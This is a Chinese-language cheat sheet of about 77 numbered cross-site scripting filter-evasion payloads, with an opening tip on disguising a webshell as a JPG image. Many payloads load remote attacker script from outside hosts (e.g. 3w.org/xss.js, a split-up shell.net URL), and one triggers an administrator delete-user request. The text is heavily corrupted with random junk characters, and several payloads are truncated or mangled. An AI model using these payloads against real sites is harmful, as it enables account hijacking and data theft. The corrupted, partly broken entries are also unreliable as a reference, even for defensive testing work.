跨站图片shell
! ^( W( v" A- ] x: wXSS跨站代码 <script>alert("")</script>8 W; O9 i9 l$ N" d
8 x+ @! F6 Q6 I5 l5 Z: a8 O将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马
6 |6 p: F d: M( J) _: O9 a1 K/ S. H+ {- u4 D3 C# p
6 R0 H- L0 \: O& Q/ b/ s9 L
4 P8 i, G; Q2 Y- q# r
1)普通的XSS JavaScript注入" `9 A' X, `: }0 i: R5 h/ b& s
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>$ h- T! u( \3 ]
4 o$ n5 O, C8 {
(2)IMG标签XSS使用JavaScript命令2 @7 l% V& s8 ^$ j9 B5 Z7 @! n5 I
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
! S7 m0 S. K2 V7 b# m5 e; i* ?
& y9 b4 c1 D; P# O8 D& @2 w* T z(3)IMG标签无分号无引号7 \2 O. M- D. j. O# [% l
<IMG SRC=javascript:alert(‘XSS’)>
+ d& S& @8 W+ r# D* z
( g% V: f/ B- V5 ~2 t( P0 {: d(4)IMG标签大小写不敏感5 F. t o6 X" z: w; b
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>0 V7 V+ D6 o. O2 F1 D& T
3 e" ^" r! H. L" K: Q; q; O
(5)HTML编码(必须有分号)- B+ l. z5 b4 d! [' y& M) [
<IMG SRC=javascript:alert(“XSS”)>
6 [* J0 Y, C9 E& m
3 H* Z) m1 Z$ j. U9 }1 [(6)修正缺陷IMG标签
5 N% [! N* K. O. d3 M9 f( i<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
- p; }! p2 t8 U" M' ?
8 t; r- k+ R* Q4 @& g(7)formCharCode标签(计算器)! Z; r* r& b4 b: N% C
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
. r7 N- ]3 ~/ A+ v- S3 R1 f; | ^. B+ W# _: j
(8)UTF-8的Unicode编码(计算器)+ m# S1 ?* C4 y' I" i% D9 v
<IMG SRC=jav..省略..S')>
6 C7 |: S a, o" R9 h! W5 j' G" g0 _& {9 A; {. L& c
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
+ e* j+ q$ M' W3 o3 W* L<IMG SRC=jav..省略..S')>
; O8 ]! |2 b) b# Z2 T$ X, A. A9 s: t9 `$ H; W T
(10)十六进制编码也是没有分号(计算器)
$ q3 S2 [3 L, [4 ]& n9 F<IMG SRC=java..省略..XSS')>4 {( A, t1 P. \
' x, D% v- P+ H; y/ V. E(11)嵌入式标签,将Javascript分开
7 r! ?' `0 r7 D<IMG SRC=”jav ascript:alert(‘XSS’);”>+ k4 T! N# A* Q
# I7 @$ K! v* s& r' H( s) O" T(12)嵌入式编码标签,将Javascript分开
$ c0 V- `& J7 q4 M$ ?; j<IMG SRC=”jav ascript:alert(‘XSS’);”>
# P& R9 W, H2 m1 L8 A9 Z, O" s0 J1 g9 \5 g2 S% z$ Z
(13)嵌入式换行符
: H! {# u8 W# W. O$ y3 _<IMG SRC=”jav ascript:alert(‘XSS’);”>
) p/ y; U/ g2 u" j# J5 q7 N7 J/ f6 a, I* N- y9 b
(14)嵌入式回车
) y& p6 x8 {, A" W+ L7 {! N% F; `<IMG SRC=”jav ascript:alert(‘XSS’);”>$ X4 n' j( @ g' d
" C$ ?9 R& E0 T
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
! a- K& K# R t+ {8 \ p1 }& V<IMG SRC=”javascript:alert(‘XSS‘)”>! N0 M, s& e$ F) k$ Z$ x- u/ C
: H' z$ k" D" R( n8 B, P
(16)解决限制字符(要求同页面)
, p4 b5 @8 B: f3 n4 \- f<script>z=’document.’</script>
- V8 ?- |; C' n# d$ R% ]<script>z=z+’write(“‘</script>7 y6 C" I! A# I) d/ m- p! l6 `
<script>z=z+’<script’</script>
3 K7 ~7 A- k3 H<script>z=z+’ src=ht’</script>- r" A: ^2 F; _9 v( X5 e9 s& n
<script>z=z+’tp://ww’</script>
+ z# M# p9 D& t$ ~( h7 {<script>z=z+’w.shell’</script>
# y0 y7 y9 B0 `' R/ h t<script>z=z+’.net/1.’</script>
; i o0 O8 b9 v Q( A" }<script>z=z+’js></sc’</script>% S; H) w/ X0 e3 B. F! y
<script>z=z+’ript>”)’</script>4 Z6 j! u F- i+ P- v; E% V
<script>eval_r(z)</script>
; r# m4 L ]! {6 \# O5 A/ |& a @7 [ E" U/ U
(17)空字符
& t, z' P8 B9 f. hperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
8 ~# t1 U+ ]* Q- ~
; ?3 l7 E. j: ?) N# X(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
" `3 M5 D8 g* rperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out: r) l$ r0 g8 W
2 w# O+ s, z( G
(19)Spaces和meta前的IMG标签0 J) s0 W" b+ \" w
<IMG SRC=” javascript:alert(‘XSS’);”>- I1 l/ K* V0 o# z
- I Q0 h5 c0 B+ Z$ f5 C; t; c
(20)Non-alpha-non-digit XSS/ e! [6 O. D$ P# ~: V
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
' ?- H8 I% l" |9 m" K" f/ o
9 U) R# d3 ~5 {/ o* B" J3 m(21)Non-alpha-non-digit XSS to 2
& k3 w4 ?( p( Y% I4 T, `) X<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>. n& Y) ^8 H' V* A
( x' i5 h: T' F( j5 j: H1 {7 d(22)Non-alpha-non-digit XSS to 3! r; W: ?0 U1 ~, o+ {3 R$ j
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
* k: G+ Q5 \5 u U& Y
3 c: p6 P" S7 G5 r$ M0 ]* K' P(23)双开括号
" c `5 x1 \: `" W' |<<SCRIPT>alert(“XSS”);//<</SCRIPT>
$ |% `0 h4 I6 l6 [% C8 ~: W# L5 x, T' p, q3 Y
(24)无结束脚本标记(仅火狐等浏览器) ` k* ~" g$ O; Y( C6 y: p
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
$ V' j$ L$ `; Q$ e, t
- y* m; I* `) o/ l(25)无结束脚本标记2
: G1 f: |" k5 y7 W4 @$ H<SCRIPT SRC=//3w.org/XSS/xss.js>
6 Q2 y& Y8 o% q) S* d
( g1 j4 t9 c3 S' O) \" v(26)半开的HTML/JavaScript XSS# D" q" R! n; B7 p
<IMG SRC=”javascript:alert(‘XSS’)”. n8 b* v" l8 C0 a
, S& ~8 n+ _* t. w& C
(27)双开角括号
8 `% K* Q! l4 I& d7 [$ Y' ~<iframe src=http://3w.org/XSS.html <) d; M; K4 P, B; @9 _7 a
1 D- D# |1 J) Q, L2 B' H
(28)无单引号 双引号 分号- |8 F: H1 v N" x1 x
<SCRIPT>a=/XSS/
! B$ E5 N4 ^& P# a5 E ^alert(a.source)</SCRIPT>
# s& V( n, d/ r* [8 [
0 U8 J7 c' ^/ g3 K/ Z( c; p0 ?+ n(29)换码过滤的JavaScript! i) t! q# f7 P2 c, P5 r( k
\”;alert(‘XSS’);//9 O2 j/ B( v" _8 j
9 [( j0 X5 }; K(30)结束Title标签
9 N* g' n9 h9 X4 V2 v, T7 k</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
( E3 F$ ~8 `! K( g# s. \/ I, w0 H' t6 a7 A$ ~ x. T) C8 \
(31)Input Image9 Z9 I% [1 ]/ N, m1 C5 C- v( ?
<INPUT SRC=”javascript:alert(‘XSS’);”>
8 T6 H5 o" R' ?; o4 W$ @8 @3 w5 Q1 [: A- v( B# @
(32)BODY Image
! e% \2 @, s% x7 a<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
- }! X$ B5 ~% |) ?9 j' k6 x. O9 H4 S
(33)BODY标签
1 x) e# a1 O0 H3 Y/ z<BODY(‘XSS’)>3 E; G0 p1 h! ^" g4 F
6 _2 M* j) z: E; ]! H% x(34)IMG Dynsrc! A" c# N( V3 i. @
<IMG DYNSRC=”javascript:alert(‘XSS’)”>* D! u' |: l, `
$ j0 R4 ]0 N3 ~" o- F! G5 C7 o(35)IMG Lowsrc
6 W. ?. |& {6 W6 k<IMG LOWSRC=”javascript:alert(‘XSS’)”>. w3 |8 _. _4 T& [- { N% U
6 H' I. N8 N9 i$ e
(36)BGSOUND
8 H! l0 q1 P6 B- y<BGSOUND SRC=”javascript:alert(‘XSS’);”>1 z) t0 v/ x# V) q
0 T$ ^; \% n7 o: {* C(37)STYLE sheet
) \1 L+ w6 Z( a4 h! V<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
9 O, B% c; p7 s2 e' X9 H5 i* Q+ z6 m/ Z/ Y) \
(38)远程样式表- z+ ?& Z- H4 H/ j# R4 t9 f( k7 B: e
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
}" h# E7 {" r5 ?
u% ]; }3 e8 E# A6 {(39)List-style-image(列表式)
7 T7 d r: M8 }<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
0 _# @$ n0 p" E! c( T8 k4 D6 P. u* V- ?" }- ]
(40)IMG VBscript' I/ V0 y" M9 p# x& J; h+ O
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS7 ~9 Q7 Y$ M9 b1 J# D0 F) E c1 A
- q6 S: v% Y- F: i7 n/ J6 o
(41)META链接url
% v! _+ E" t$ U. Z, Y" v<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>6 [: t5 P6 O# E T$ |# `; J/ g8 P7 @
* E8 A1 V' P9 J0 _ m- \4 C S* [+ }
(42)Iframe/ i" w2 |0 Y* F2 Z$ A: F
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>1 i% {4 R/ T+ k) r' m
(43)Frame/ ~2 L- L! ]: U
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
$ V9 l6 J9 [6 ?3 j5 B/ Q1 _- ^
3 G D0 F) m4 R- V6 m: I5 f(44)Table( S0 z1 W( @6 [/ {! z& ^
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
; [% N4 T9 K2 |/ q* g3 p# N: B% q! C( G
& {$ C- {4 m: X(45)TD* w( ^7 R* ^6 s$ D' G
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>4 L8 T4 b( x! G* F8 F5 K: S. W
& w7 F, J' W* H7 }2 G C
(46)DIV background-image
( I4 `# g" Z0 ?- z6 y+ j0 D<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
" @* J* k& u* ~& X2 t7 b* W, p4 N2 L! ?" i, \1 j4 r3 P3 F
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)& L1 p$ p/ S$ F
<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
e( G J( O8 P4 s: X, C) \
+ V% R* a: {& }* g9 C2 U X. G(48)DIV expression" K& Q- F$ Q- {) ^
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
! X8 x! A4 j8 [$ u+ W+ `- e$ ?1 L' o: F; a
(49)STYLE属性分拆表达/ p. I; @' j. m. q1 B- v
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>" b7 u# U! } F3 x9 ^. l/ W1 S+ R' N
5 j) a" n' C, y" G(50)匿名STYLE(组成:开角号和一个字母开头)
& i. x; T3 g. ~6 |) n$ b* @<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
+ z4 X7 J p+ t1 N0 L5 K
. w5 g/ n: c$ E+ I& k) y(51)STYLE background-image
5 |7 w/ L; e, y8 l( Y. P& I7 m<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
4 ?0 O0 {& ^' M2 y I' K! M4 _+ b C, F0 a8 p) [" K
(52)IMG STYLE方式, D" D1 Y2 o% O
exppression(alert(“XSS”))’>7 d) W# S$ h- s9 d9 S C
4 Z, y2 C1 n! i# o& t4 O* W7 D) E
(53)STYLE background0 H$ h& _8 r( I4 S3 M
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>2 Q. u! r' v7 |$ D: a1 M$ D/ I
+ C( e7 U% y8 C ?- C7 N(54)BASE
) O% H: _$ g! [' Y<BASE HREF=”javascript:alert(‘XSS’);//”>
8 e, Y m# R; s: v6 x
: K' ]3 o9 Z7 @" d* z8 K! |+ G(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS: k1 Z- J" a; D6 C a/ N1 ^
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>2 h8 _# f5 s( ~* k
# d' W$ R5 {! d1 V( Y(56)在flash中使用ActionScrpt可以混进你XSS的代码1 ~: T s5 j0 L0 {
a=”get”;
/ G2 f& |6 ?( hb=”URL(\”";
' j2 j: x' @& y k9 c4 c2 fc=”javascript:”;
( E8 \+ @) ]' x& k; I9 p6 Fd=”alert(‘XSS’);\”)”;1 Q, T/ ]2 V) d' U+ F4 J
eval_r(a+b+c+d);" @! ]7 e- Q6 @+ D7 _
) ]: B9 G R0 f/ V& K(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上0 C& W Q1 F. g
<HTML xmlns:xss>9 F" I: Y" B/ m& ~3 I
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
6 ^/ D7 Q9 E; q& Q" A, `$ n9 S D<xss:xss>XSS</xss:xss>
" f4 o( e7 I& X</HTML>$ ~) \' _3 m' V8 L& ]0 x$ s) I
( E& c( C. D0 w9 T
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用 O; d; `; Y$ X! ?4 h* Y2 E8 r
<SCRIPT SRC=””></SCRIPT>& {8 K" M. @/ K/ V
7 @. I" ?% c2 B0 o+ o(59)IMG嵌入式命令,可执行任意命令; [7 \2 R. W% Z/ R
<IMG SRC=”http://www.XXX.com/a.php?a=b”>
3 w4 \5 [& G# U( L# |! O- P
2 b7 J8 ` G6 F& a& d& A(60)IMG嵌入式命令(a.jpg在同服务器)
" J# f7 `3 i4 G( Z, y: ~Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser8 A3 z: S+ B5 z v
9 M$ D; R$ X/ t
(61)绕符号过滤
# ~: y) L0 r1 X2 B<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>* c+ y% ? k, x0 f+ F
1 k% t- R6 m7 a( Z5 _
(62)$ W) {5 i1 x9 c+ _) f" @5 o- e0 T
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
" y# {5 _" ], `) _, U0 W/ _6 ^ @3 e+ m, H9 U' J9 l8 l7 ?9 S* C
(63)
3 n9 R) `( _9 D/ u<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
0 K0 K5 i2 X& f* k$ P0 G- v2 a1 E" _+ ]" e6 q
(64)
1 I& V& h9 _( K* e! L5 H<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>0 z# Y4 Q. g1 A$ f
$ T/ u) t4 v) H% U
(65)2 {- [9 h/ ~% @
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
, m( W( F& o Y, c3 G, Y2 [! D- U7 t' j7 c m
(66)" A" Z/ U, } Q+ j) t4 [' f; l
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>7 a l( c5 E+ Z0 P
: T- X7 A" |+ t
(67)% T, m* _* g# k+ \% b9 O
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
! m6 l+ Q) \. d4 n$ }( V5 x; k
9 Q4 z+ X! F' D(68)URL绕行
- K9 o0 p5 }6 |) d<A HREF=”http://127.0.0.1/”>XSS</A>
8 t3 \& L4 Q8 I2 `) t, V8 [/ v' X7 T
(69)URL编码
: Q& J g" t% K" ^" g3 n& w<A HREF=”http://3w.org”>XSS</A>6 H3 K( U( Y& u$ ?4 X' j; Q
% L% \& [* p0 I2 W7 q
(70)IP十进制' j% I1 u. H; s8 t# j
<A HREF=”http://3232235521″>XSS</A>8 s/ k5 ^8 x. t& V5 |
4 Z. q: ?4 ~7 p, U# O8 \5 U" e
(71)IP十六进制$ F" ^5 Y, x) |/ w0 K0 u1 C
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>+ d/ C" f, c( r; C6 s0 @' ~ }
& W/ r2 o- `9 ]0 n4 d8 ^; t
(72)IP八进制
' y8 `/ j# ~8 W, J1 n7 v0 f+ J& A<A HREF=”http://0300.0250.0000.0001″>XSS</A>- t! |6 k4 m; N" k+ C- ^7 d
5 V s1 E" N6 H(73)混合编码* u4 L) J- ]4 c/ E
<A HREF=”h* ] F& b" z2 I9 Y3 y% x7 r
tt p://6 6.000146.0×7.147/”">XSS</A>
6 G( I2 M9 S4 D% s7 @
& _8 J5 ]1 g8 `+ M: w5 F(74)节省[http:]" W4 I% O( M/ k2 R+ T
<A HREF=”//www.google.com/”>XSS</A>
' m( e3 o% K4 E+ k& m* {3 r! l% ~
(75)节省[www]
; U) U' p' `( f& D# h<A HREF=”http://google.com/”>XSS</A>7 k* r7 f! i& V1 A
7 N- ~$ K$ y+ b/ F; I$ b
(76)绝对点绝对DNS0 ]; { N7 {# ?% C, ]" p- V
<A HREF=”http://www.google.com./”>XSS</A>: r, Z: G2 H9 E& @4 @" b
! n# S$ M' W! C& [" P# G0 A2 i) W
(77)javascript链接
( j/ i8 \ I3 y8 y9 f<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>" ], x8 e) ~5 q I* a0 L
|